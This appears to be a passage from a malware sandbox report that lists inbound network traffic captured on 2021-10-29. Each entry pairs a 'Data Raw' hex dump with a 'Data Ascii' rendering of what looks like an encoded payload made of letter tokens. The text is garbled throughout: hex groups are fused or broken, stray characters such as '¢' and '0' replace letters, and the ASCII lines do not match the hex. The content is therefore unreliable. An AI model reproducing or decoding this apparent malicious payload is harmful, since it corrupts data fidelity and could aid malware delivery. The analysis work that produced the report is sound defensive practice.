422071 6d20 71 717120 71 71 4a 20 57 4f 20 57 4a 20 6d 4d 20 58 4d 20 4d 6d 20 71 71 57 20 71 71 45 20 71 4f 45
20 71 4a 4a 20 4a 70 44 20 57 70 20 4a 4f 20 70 4a 20 4d 6d 20
Data Ascii: X WO mJ Xm ggm gOO gqg gg mX mX WO WO XE JM qOJ qOX gqqJ WJ WX JpD Wq qgm qOO qJE qEM qqJ
WJ JD WO Wm XW MX gqgE qgOM qgqJ WO mX WO WE Mq qgm gqqJ MX gqJ WO mM mqg D XD ggm MM qOM ggJ WO
mm WO Wm DM qqgJ gm gqqg qgJ WO WJ mM XM Mm qgqW gqE qOE qJJ JpD Wp JO pJ Mm

2021-10-29 18:29:04 UTC 37 IN Data Raw: 20 4d 44 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 70 20 71 4a 45 20 71 71 4a 20 44
4a 20 44 70 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 71 4f 20 71 71 4a 20 6d 4a 20 6d 58 20 57 4f 20 57 6d
2045 4d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 6d 20 45 70 20 57 4f 20 57 4f 20 57 6d 20 58 4f 20 71 71 70 20 71
7170 20 4a 20 71 4f 57 20 57 71 20 6d 58 20 57 4a 20 70 70 20 4d 6d 20 71 45 4a 20 71 71 4a 20 45 57 20 71 4f 4a 20
57 44 20 4a 70 58 20 57 4f 20 6d 58 20 71 4a 44 20 71 71 57 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57
4f 20 57 6d 20 44 4d 20 4d 4d 20 71 71 45 20 71 4f 6d 20 71 4a 45 20 57 4f 20 6d 58 20 57 71 20 71 4a 20 58 44 20 71 4f
71 20 4a 44 20 70 44 20 71 71 4a 20 57 4f 20 57 6d 20 6d 58
Data Ascii: MD WO mX WO Wm Xm gqgm gOp qJE qgJ DJ Dp WO Wm XW qOW DM gqO ggJd mJ mX WO Wm EM ggm
qgE gJm ggm Ep WO WO Wm XO qgp qgp J qOW Wq mX WJ pp Mm qEJ qqJ EW qOJ WD JpX WO mX gJD qqW qOq
qOM ggqJ WO mX WO Wm DM MM gqgE qgOm qJE WO mX Wq gqJ XD qOqg JD pD qqJ WO Wm mX

2021-10-29 18:29:04 UTC 38 IN Data Raw: 58 20 57 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 20 71 4f 44 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 4a
452058 6d 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4d 57 20 57 71 20 6d 58 20 57 4a 20 70 4d 20 4d 6d 20 71 4a 45 20
717120 71 4f 71 20 71 71 4a 20 57 4f 20 57 4a 20 4a 44 20 71 58 4d 20 58 6d 20 71 71 6d 20 71 71 57 20 71 4a 44 20
717144 20 4a57 2057 58 20 71 58 20 71 4d 4f 20 45 71 20 71 71 6d 20 71 71 45 20 44 4d 20 4a 70 4d 20 57 4f 20 6d 5
82057 44 20 70 4d 20 58 4f 20 71 71 44 20 71 4a 57 20 71 4a 45 20 71 71 57 20 4d 70 20 71 58 57 20 57 4f 20 57 6d 20
58 4a 20 4d 6d 20 71 57 44 20 71 4f 4f 20 4d 4d 20 57 57 20 70 6d 20 57 57 20 44 4d 20 4a 71 4420 71 715720 71 71
45 20 71 4f 45 20 58 58 20 71 6d 70 20 6d 4d 20 57 4f 20 6d 58 20 45
Data Ascii: X WW Wm Xm qgX gqq qOD ggqJ WO WJ JD JE Xm qgm qgqW DM gMW Wqg mX WJ pM Mm qJE qq qOq qqgJ
WO WJ JD gXM Xm ggm qqW qJD qgD JW WX gX gMO Eq qgm gqgqE DM JpM WO mX WD pM XO qqD qJW qJE qqW
Mp gXW WO Wm XJ Mm gWD qOO MM WW pm WW DM JgD qqW gqE qOE XX gmp mM WO mX E

2021-10-29 18:29:04 UTC 40 IN Data Raw: 71 57 20 70 4f 20 71 71 6d 20 6d 58 20 6d 58 20 57 4a 20 44 4f 20 45 57 20 71 4a 57 20 4a 6d 58 20 4d 4d 20
7171 4a 20 57 4f 20 57 4f 20 4a 70 20 70 4a 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 70 20 71 71 4a 20 57 4f 20 57 6d 20
4457 20 71 58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20 70 45 20 70 44 20 4a 4f 6d 20 6d 58 20 71
702071 71 6d 20 71 71 45 20 71 4f 45 20 70 20 71 45 4d 20 6d 58 20 57 4f 20 6d 58 20 4a 6d 44 20 58 45 20 71 4f 4d 20
71 4a71 20 71 6d 4a 20 57 4a 20 71 4f 44 20 57 4f 20 57 6d 20 58 4a 20 71 20 4a 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a
20 71 6d 44 20 4a 70 20 6d 45 20 44 6d 20 71 6d 4f 20 71 71 57 20 57 6d 20 71 71 4a 20 57 4f 20 57 6d 20 44 57 20 71
58 70 20 58 6d 20 71 71 6d 20 71 71 57 20 4a 4f 45 20 58 57 20
Data Ascii: qW pO ggm mX mX WJ DO EW qJW JmX MM ggJ WO WO Jp pJ Dm gmO gqgW Wp qgqJ WO Wm DW gXp
Xm qgm qqW JOE XW pE pD JOm mX gp qgm qgE qOE p gEM mX WO mX JmD XE qOM qJg gmJ WJ qOD WO Wm XJ
g Jmm gqOM qgJ WJ gmD Jp mE Dm gmO qgW Wm ggJ WO Wm DW gXp Xm gqgm gqqW JOE XW

2021-10-29 18:29:04 UTC 41 IN Data Raw: 71 71 58 20 57 4a 20 4a 4f 44 20 57 4a 20 57 4f 20 58 44 20 71 71 6d 20 71 71 57 20 70 4f 20 4a 71 70 20 57
4f 20 6d 58 20 57 44 20 70 4f 20 44 58 20 71 71 6d 20 71 71 45 20 45 4f 20 58 58 20 70 57 20 6d 58 20 57 4f 20 4a 4d 20
71 4a 6d 20 4a 57 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 6d 20 4a 4a 20 6d 4d 20 57 4f 20 58 71 20 4d 4f 20 57 58
20 71 4f 4d 20 71 71 4a 20 57 4a 20 4a 44 20 57 4f 20 57 6d 20 45 4d 20 44 44 20 71 71 70 20 71 4f 4d 20 57 45 20 57 71
20 6d 58 20 57 4f 20 6d 71 20 58 6d 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 70 20 71 4d 4f 20 6d 4d 20 57 4f 20 6d 58 20
71717020 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 4d 70 20 57 57 20 58 6d 20 71 71 44 20 58 4f 20
70 4f 20 71 4f 57 20 57 4f 20 6d 58 20 57 44 20 58 4d 20
Data Ascii: qgX WJ JOD WJ WO XD qgm qgqW pO Jgp WO mX WD pO DX ggm ggE EO XX pW mX WO JM gJm JWO
gqgE gOM ggX Jm JJ mM WO Xg MO WX qOM qgqJ WJ JD WO Wm EM DD ggp gOM WE Wg mX WO mqg Xm ggm qOO
qOW p gMO mM WO mX qqgp ¢ JgO qOM ggJ WD MW Mp WW Xm ggD XO pO qOW WO mX WD XM

2021-10-29 18:29:04 UTC 42 IN Data Raw: 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 4a 71 44 20 57 6d
2058 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 70 20
71714520 71 4f4d 20 71 71 4a 20 44 71 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71
71 4a 2057 4f 20 6d 58 20 57 4f 20 71 71 4d 20 58 57 20 71 71 6d 20 71 71 45 20 6d 6d 20 71 71 70 20 57 4f 20 6d 58 20
57712057 6d 20 58 6d 20 71 71 6d 20 58 71 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20
7171 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 71 57 20 6d 4d 20 57 4f 20 57 6d 20 4a 4a 20 71 71 57 20 71 71 45
20 71 4f 4d 20 71 71 45 20 57 4f 20 6d 58 20 57 4f 20 57 45 20
Data Ascii: O gX Xm qgm qgD qOM gqgJ WO mX JgD Wm Xm ggm gJD qOM ggJ WO gMX WO Wm Xm qgp qqE qOM
qgJ Dg mX WO WW Xm ggm gqE qOM gqgJ WO mX WO qgM XW ggm gqgE mm ggp WO mX Wg Wm Xm ggm Xq qOM
qgJ Wg mxX WO Wm Xm ggm qgE qOM qgJ qqgW mM WO Wm JJ qqW qgE qOM gqgE WO mX WO WE

2021-10-29 18:29:04 UTC 44 IN Data Raw: 4a 4d 20 71 4d 6d 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 6d 20 71 70 4d 20 57 57 20 58 6d 20 71 71 44 20 71
7170 20 44 4d 20 71 57 4f 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 4a 4a 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4f
2070 70 20 4f 20 44 4a 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f
2057 4120 6d 4a 20 71 71 452071 71 44 20 71 4f 4d 20 71 71 44 20 70 71 20 4a 4f 20 70 44 20 4a 70 4f 20 71 4a 20 71
716d 20 71 71 45 20 71 4f 58 20 58 58 20 71 70 58 20 6d 58 20 57 4f 20 44 4f 20 71 70 4a 20 71 4a 44 20 71 71 4520 71
4f 4d 20 71 71 6d 20 4a 44 20 71 70 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 4f 20 4a 4f 6d 20 71 4f 4d 20 71 71 4a 20 57 44
20 4a 6d 20 71 70 44 20 57 6d 20 58 6d 20 71 4a 4f 20 4a
Data Ascii: JM gMm qOM qgqJ WD Jm gpM WW Xm qgD ggp DM gWO WO mX WJ pO JJE qqW qgqE qOE MO pp O DJ
Wm gMm ggm gqgqE qgOM ggJ WO mX WO WO mJ qqE qqb qOM qgD pq JO pD JpO gJ ggm ggE qOX XX gpX mX WO
DO gpJ qJD qgE qOM gqgm JD gpD WO Wm Mm MO JOm qOM ggJ WD Jm gpD Wm Xm gqJO J

2021-10-29 18:29:04 UTC 45 IN Data Raw: 71 4f 4d 20 71 71 58 20 70 57 20 57 4a 20 4d 70 20 4a 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20
717158 20 4d 70 20 71 4f 20 57 4f 20 57 6d 20 58 4a 20 58 45 20 71 4f 4d 20 4d 6d 20 71 4a 4f 20 6d 58 20 57 71 20 57
6d 20 70 4f 20 71 42 20 71 71 6d 20 71 71 45 20 71 4f 45 20 71 4f 57 20 71 20 57 6d 20 44 57 20 71 57 45 20 58 6d 20 71
71 6d 20 71 4a 45 20 4a 70 20 4d 4f 20 57 4f 20 6d 58 20 57 71 20 6d 4a 20 58 6d 20 71 71 6d 20 71 71 4d 20 71 4f 4d 20
4d 45 20 57 4f 20 6d 6d 20 70 71 20 57 6d 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 58 20 6d 58 20
7171442057 6d 20 45 4220 71 44 20 71 71 45 20 4d 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 58 44
20 4d 4f 20 71 45 71 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d
Data Ascii: gqOM qgX pW WJ Mp JmO Xm ggm gJE qgq ggX Mp gO WO Wm XJ XE gOM Mm gJO mX Wg Wm pO qJ
qgm ggqE qOE qOW q Wm DW gWE Xm ggm gqJE Jp MO WO mX Wq mJ Xm ggm qgM qOM ME WO mm pg Wm MO
qgm ggqE gOM ggJ mX mX qqD Wm EJ gD qqE MM ggqJ WO mX WO gED XD MO gEgq qOM gqgqJ WJ M
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2021-10-29 18:29:04 UTC 46 IN Data Raw: 70 20 58 71 20 58 57 20 71 71 6d 20 71 71 57 20 44 4d 20 71 4a 57 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 71
57452071 71 6d 20 71 71 45 20 71 4f 70 20 71 71 6d 20 57 4a 20 4d 57 20 45 20 57 6d 20 58 6d 20 71 71 44 20 58 4f
20 7171 45 20 44 45 20 57 58 20 57 4f 20 6d 4d 20 57 4f 20 71 4a 6d 20 71 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 6d
702070 20 57 4a 20 44 4d 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 4f 20 4a 6d 20 71 6d 4a 20 6d 4d 20
58 4d 20 45 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 4a 4f 20 57 4f 20 6d 4d 20 58 4d 20 57 57 20 71 71 57 20 71
7145 20 71 4f 45 20 58 58 20 71 58 4d 20 6d 58 20 57 4f 20 6d 58 20 57 4d 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58
20 4a 70 20 6d 4f 20 71 20 44 422058442071 71 70 20 71 71
Data Ascii: p Xq XW ggm qgW DM gJW WO mX WJ XM gWE ggm qgE qOp qgm WJ MW E Wm Xm qgD XO qqE DE WX
WO mM WO gJm gX gqE qOM ggX mp p WJ DM JWW qgm gqE qOp qO Jm gmJ mM XM E qgW gqE qOE MJ JO WO
mM XM WW ggqW ggE qOE XX gXM mX WO mX WM mX qqE qOM qgX Jp mO g DJ XD qgp qq

2021-10-29 18:29:04 UTC 48 IN Data Raw: 45 45 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 4f 20 57 4f 20 70 45 20 71 58 45 20 71 4a 45 20 71 71 6d 20
71714520 717171205857 20 70 44 20 44 45 20 71 57 57 20 57 6d 20 58 6d 20 71 71 44 20 4a 71 57 20 44 4d 20 4a
57 70 20 57 4f 20 6d 58 20 57 4a 20 58 4d 20 4a 71 20 71 71 6d 20 71 71 45 20 71 4f 45 20 58 44 20 4a 6d 20 6d 58 20
57 4f 20 57 6d 20 45 71 20 44 44 20 71 71 4a 20 71 4f 4d 20 71 4d 4a 20 57 71 20 6d 58 20 57 4f 20 71 4d 20 58 6d 20 71
71 6d 20 71 4f 4f 20 71 71 71 20 58 58 20 71 58 6d 20 6d 58 20 57 4f 20 6d 58 20 70 4d 20 71 71 4d 20 71 71 4d 20 71 4f
4d 20 71 71 58 20 57 44 20 6d 45 20 44 71 20 71 58 45 20 4d 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 58 57 20 70 44 2
0 70 44 20 4a 4f 6d 20 6d 58 20 70 58 20 71 71 6d 20 71 71 45 20
Data Ascii: EE qgE qOM ggX JO WO pE gXE qJE gqgm ggE qgq XW pD DE gWW Wm Xm ggqD JgW DM JWp WO mX WJ
XM Jq ggm gqgE gOE XD Jm mX WO Wm Eq DD gqJ qOM gMJ Wg mX WO gM Xm ggm gqOO ggg XX gXm mX WO mX
pM qgM qgM gOM qgX WD mE Dg gXE MO ggm qgE gqg XW pD pD JOm mX pX gqgm qqE

2021-10-29 18:29:04 UTC 49 IN Data Raw: 44 4d 20 4a 6d 58 20 57 4f 20 6d 58 20 57 4a 20 6d 58 20 70 4d 20 4a 71 6d 20 71 71 45 20 71 4f 4d 20 71 4a
4a 20 45 4d 20 57 44 20 57 71 20 57 6d 20 58 4f 20 4d 4f 20 4a 6d 4f 20 71 4f 4d 20 71 71 4a 20 57 4a 20 57 6d 20 4a 4f
6d 20 6d 58 20 58 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 71 57 71 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 4d
5820 71 71 45 20 71 4f 4d 20 4d 71 20 4a 44 20 70 70 20 57 4f 20 57 6d 20 71 4a 45 20 4d 4f 20 4a 6d 70 20 71 4f 4d 20
7171 4a 20 57 4a 20 4a 6d 20 71 58 71 20 57 6d 20 58 6d 20 71 71 44 20 71 71 57 20 71 6d 45 20 71 71 58 20 57 70 20
57 4f 20 57 4f 20 6d 58 20 70 4d 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 70 4a 20 57 4f 20 57 6d 20
71 4a 45 20 4d 4f 20 71 4f 4f 20 71 4f 4d 20 71 71 4a 20 4a
Data Ascii: DM JmX WO mX WJ mX pM Jgm qqE qOM gJJ EM WD Wgq Wm XO MO JmO gOM qgJ WJ Wm JOm mX XJ
qqJ gqqE qOE p gWwg mX WO DO gJm MX gqqE qOM Mg JD pp WO Wm gJE MO Jmp qOM qgJ WJ Jm gXgq Wm Xm qgqD
qqW gmE ggX Wp WO WO mX pM JgW gqqE qOM gJJ JD pJ WO Wm gJE MO qOO qOM qqJ J

2021-10-29 18:29:04 UTC 50 IN Data Raw: 4a 71 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 4d 45 20 57 4f 20
57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 4a 20 6d 58 20 57 4f 20 57 57 20 58 6d 20 71 71
6d 20 71 71 45 20 71 4f 4d 20 71 57 6d 20 57 4f 20 6d 58 20 57 4f 20 44 71 20 58 6d 20 71 71 6d 20 71 71 45 20 71 57 57
207171 4a 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 58 6d 20 71 71 6d 20 71 4a 4a 20 71 4f 4d 20 71 71 4a 20 57 71 20
6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 6d 45 20 6d 4d 20 57 4f 20 57 6d 20
457020 717157 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 58 20 57 4f 20 71 58 20 58 6d 20 71 71 6d 20 71 71
44 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d
Data Ascii: JgD Wm Xm gqgm gJD qOM gqgqJ WO gME WO Wm Xm qqW qgE qOM qgJ JJ mX WO WW Xm ggm ggE qOM
gWm WO mX WO Dg Xm gqgm gqE gWW qgJ WO mX mM Wm Xm qgm gJJ qOM gqqJ Wgq mX WO Wm Xm qgm qqE
gOM gqgJ mE mM WO Wm Ep qqW qgE qOM ggp WO mX WO gX Xm ggm gqgD gOM ggqJ WO mX WO Wm

2021-10-29 18:29:04 UTC 52 IN Data Raw: 6d 20 4a 6d 20 71 70 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 71 4d 20 71 71 4a 20 57 4f 20 57 58 20
4d 70 20 71 4a 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 71 20 57 71 20 6d 58 20 57 4a 20 57 4f 20 71 4a
6d 20 71 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 44 20 71 70 57 20 57 71 20 57 6d 20 58 4a 20 58 58 20 71 4f
4a 20 4d 70 20 71 4a 6d 20 57 4f 20 71 44 44 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a
20 57 6d 20 45 58 20 57 44 20 57 57 20 58 6d 20 71 71 58 20 58 58 20 45 70 20 71 4f 4a 20 4a 4a 44 20 71 4f 6d 20 57 4f
20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71
4220 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 58 20 4a 44
Data Ascii: m Jm gpW Wm Xm qJO JD JgM gqgqJ WO WX Mp qJM Xm qgm gJE DM JOgq Wg mX WJ WO gJm gmX qqE
qOM qgX JD gpW Wg Wm XJ XX qOJ Mp gJm WO gDD WO Wm Xm ggm gqE qgOM ggJ Wm EX WD WW Xm qgX XX Ep
q0J JID gOm WO Wm XW MO JOW qOM qgJ WD JIm Dp Wm Xm gqJ Mp Jagp ggJ WO WX JD

2021-10-29 18:29:04 UTC 53 IN Data Raw: 20 58 4f 20 4d 4f 20 71 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 44 4a 20 57 57 20 58 6d 20 71
7144 20 71 4f 4f 20 71 4f 57 20 70 71 20 4a 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 58 4f 20 4d 4f 20 4a 4f 71 20 71 4f 58 20
7171 422057 4a 20 57 6d 20 4d 70 20 44 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 4f 20 6d 4d
20 6d 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 6d 20 71 71 4a 20 6d 44 20 4a 4d 20 57 4f 20 57 44 20 58
6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 58 20 57 4f 20 6d 4a 20 57 6d 20 71 71 6d 20 71 4a
7020 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71
71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 58 4a 20 4a
Data Ascii: XO MO gmm gOM qqJ WJ MW gDJ WW Xm gqgqD qOO qOW pg Jmm mX WO DO XO MO JOq qOX qqJ WJ
Wm Mp DE XW qgm qqW Eq qqJ WO mM mD Wm Xm qqgJ qqE gJm ggJ mD JM WO WD Xm ggm qgE qOM ggm WO qq
X' WO mJ Wm qgm gJp qOM ggJ WO mX qgD WO gJm JOD qgD qOM qgX JD JpX WO Wm XJ J

2021-10-29 18:29:04 UTC 54 IN Data Raw: 6d 20 58 4a 20 4a 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 4f 20 71 4d 71 20 4a 4d 20 58 6d 20
7171 6d 20 71 71 4d 20 45 4a 20 71 4f 4a 20 44 57 20 71 44 70 20 57 4f 20 57 6d 20 58 4a 20 4a 4f 58 20 58 4f 20 71 4a
422071715820 71 6d 6d 20 4a 6d 20 71 4d 71 20 57 6d 20 58 6d 20 71 71 44 20 71 4a 44 20 71 4f 44 20 71 71 57 20
4d 70 20 58 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 4a 6d 4d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 4a 6d 58
2057 6d 20 58 6d 20 71 4a 4f 20 71 71 70 20 44 4d 20 4a 4f 6d 20 57 71 20 6d 58 20 57 4a 20 6d 4d 20 57 4d 20 4a 6d 7
0207171442071 4f4d 20 71 71 58 20 4a 6d 20 71 44 44 20 6d 4d 20 58 4d 20 57 70 20 71 71 57 20 71 71 45 20 71 4f
45 20 4d 4a 20 6d 44 20 57 4a 20 4a 44 20 71 70 58 20 58 57 20 71
Data Ascii: m XJ JM JJW qOM qgJ WJ mO gMqg JM Xm ggm qgM EJ qOJ DW gDp WO Wm XJ JOX XO gJJ qgX gmm Jm
gMg Wm Xm qqgD gJD qOD qgqW Mp XM Wg Wm XJ MO JmM qOM qgqJ WJ MW JmX Wm Xm gJO qgp DM JOm Wg mX
WJ mM WM Jmp ggD gOM ggX Jm gDD mM XM Wp qqW ggE qOE MJ mD WJ JD gpX XW q

2021-10-29 18:29:04 UTC 58 IN Data Raw: 6d 20 71 4a 4f 20 58 4d 20 71 4f 6d 20 71 4f 70 20 70 70 20 57 6d 20 4a 57 20 44 70 20 45 4f 20 71 4a 4a 20
4d 70 20 58 58 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 4a 70 4a 20 71 70 58 20 71 4a 6d 20 71 4f 70 20 71 4f 71 20 71
6d 4a 20 70 44 20 57 44 20 57 4f 20 57 6d 20 45 4d 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44
20 7057 20 6d 58 20 71 71 4f 20 71 45 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 70 70 20 57 57 20 44 4d 20 6d
582071 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 44 20 70 70 20 57 44 20 58 4d 20 71 70 57 20 71 71 6d 20 71 71
45 20 71 4f 70 20 4d 4d 20 57 70 20 70 58 20 70 70 20 44 71 20 44 44 20 4d 45 20 71 4a 71 20 45 4f 20 57 45 20 70 57 2
057 4d 20 70 71 20 71 4a 70 20 44 44 20 4d 45 20 71 4a 4f 20 45
Data Ascii: m qJO XM qOm qOp pp Wm JW Dp EO qJJ Mp XX qgJ WO WX pg JpJ gpX gJm qOp qOq gmJ pD WD WO
Wm EM JM qJD qOM qgJ WD JpD pW mX qqO qED qqE qOM gqgqJ WO pp WW DM mX ggm qqE qOp MM WD pp WD
XM gpW ggm qgE qOp MM Wp pX pp Dg DD ME gJgq EO WE pW WM pg gJp DD ME gqJO E
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Timestamp transferred Direction Data

2021-10-29 18:29:04 UTC 62 IN Data Raw: 20 71 71 45 20 71 4f 4d 20 71 45 4d 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20
4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f
20 4a 6d 70 20 6d 58 20 57 6d 20 58 6d 20 71 44 71 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 58 20 57 4f 20
57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 6d 58 20 58 6d 20 71 71 6d
2071714520 7158 4f 20 71 71 6d 20 57 4f 20 6d 58 20 4a 70 45 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 58 20 71 4f 4d
20 7171 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 4a 70 20 6d
4d 20 57 4f 20 57 6d 20 71 4a 44 20 71 71 6d 20 71 71 45 20
Data Ascii: qgE qOM gEM mX mX WO Wp Xm ggm qgE MX ggJ WO mM mX Wm Xm ggm qOgq qOM gqgJd WO Jmp mX
Wm Xm gDg qggM gOM ggJ WD mX WO Wm Xm ggm qqE qOM ggqJ WO mX WO mX Xm ggm qqE gXO ggm WO mX JpE
WJ Xm ggm ggX qOM ggJ WO WX WO Wm XW qOW DM gqOW qqJ gJp mM WO Wm gJD qgm qqE

2021-10-29 18:29:04 UTC 63 IN Data Raw: 4a 4f 20 71 44 4d 20 71 4a 6d 20 71 71 45 20 70 71 20 70 4a 20 57 70 20 70 4d 20 58 4f 20 71 71 70 20 71 71
7020 44 4d 20 4a 4a 6d 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 44 44 20 71 71 6d 20 71 71 45 20 45 4f 20 71 4a 70 20 57
4d 20 4d 57 20 44 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 58 58 20 4a 57 57 20 71 45 6d 20 57 44 20 57 45 20 70 4f 20 6d
58 20 4d 70 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 4a 70 44 20 57 70 20 71 71 6d 20 71
45 4a 20 71 71 45 20 71 4f 57 20 4d 4d 20 57 58 20 70 58 20 70 70 20 44 70 20 71 4a 45 20 58 70 20 71 4f 4f 20 71 4f 71
20 4d 45 20 57 4d 20 71 45 4f 20 70 70 20 44 4f 20 58 70 20 71 71 4a 20 71 4f 4f 20 71 4f 70 20 58 58 20 4a 70 70 20 6d
58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4 20 71 71 4520 71
Data Ascii: JO gDM gJm qgE pg pJ Wp pM XO qgp ggp DM JJm WO mX WJ pO DD ggm qqE EO gJp WM MW DJ Wm X
m gJO XX JWW gEm WD WE pO mX Mp JM qJD qOM qqJ WD JpD JpD Wp qgm gEJ ggE gOW MM WX pX pp Dp qJE
Xp qO0 qOg ME WM gEO pp DO Xp qgqJ qOO qOp XX Jpp mX WO DO gqJm gqOO qqE q

2021-10-29 18:29:04 UTC 68 IN Data Raw: 20 44 71 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 44 20 45 44 20 6d 44 20 57
4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 4a 20 71 4f 4f 20 70 20 71 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 58 71 20
7171 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4a 4f 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 70 20 71 4a 6d 20 71 71
4420 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 4a 71 57 20 6d
58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d
20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 6d 4f 20 6d 4f 20 4a 71 45 20 6d 4f 20 71 71 45 20 71 4f
4d 20 71 71 70 20 4a 70 20 4a 4a 6d 20 4a 57 57 20 57 6d 20
Data Ascii: Dq ED mO Xm qgm gJE qJD qgD ED mD WO Wm Mm ME ggJ qOO p gD mX WO DO gJm Xq qqE qOM gJJ
Mp JO WO Wm Mm ME qgp gJm qgqD mW Dp gMg qOX Xm qgm qgD EJ gDO JgW mX WO WO gJm DM qqE qOM gJJ
